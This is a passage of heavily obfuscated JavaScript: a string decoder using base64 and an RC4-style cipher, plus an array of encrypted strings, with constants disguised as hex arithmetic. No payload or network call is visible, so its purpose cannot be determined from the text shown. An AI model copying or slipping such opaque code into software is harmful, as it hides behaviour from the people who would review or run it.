j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};